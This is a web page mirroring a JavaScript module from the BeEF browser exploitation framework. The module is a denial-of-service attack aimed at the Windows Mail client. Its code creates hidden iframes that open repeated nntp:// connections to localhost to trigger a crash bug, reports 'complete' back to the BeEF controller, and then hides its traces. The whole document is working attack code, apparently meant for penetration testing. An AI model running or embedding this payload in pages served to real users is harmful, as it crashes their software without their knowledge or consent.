Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/local_host/window_mail_client_dos/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// container iframe
10
var winmail_container = document.createElement('iframe');
11
winmail_container.setAttribute('id', 'winmail');
12
winmail_container.setAttribute('style', 'display:none');
13
document.body.appendChild(winmail_container);
14
15
// initiate 10 nntp connections
16
// 8 to trigger bug + 2 in case the user manages to close some
17
var protocol_iframe;
18
for(var i=1;i<=10;i++) {
19
protocol_iframe = document.createElement('iframe');
20
protocol_iframe.setAttribute('src', 'nntp://127.0.0.1:119//');
21
protocol_iframe.setAttribute('id', 'winmail'+i);
22
protocol_iframe.setAttribute('style', 'display:none');
23
winmail_container.contentWindow.document.body.appendChild(protocol_iframe);
24
}
25
26
beef.net.send("<%= @command_url %>", <%= @command_id %>, "complete");
27
28
document.body.removeChild(document.getElementById('winmail'));
29
30
});
31
32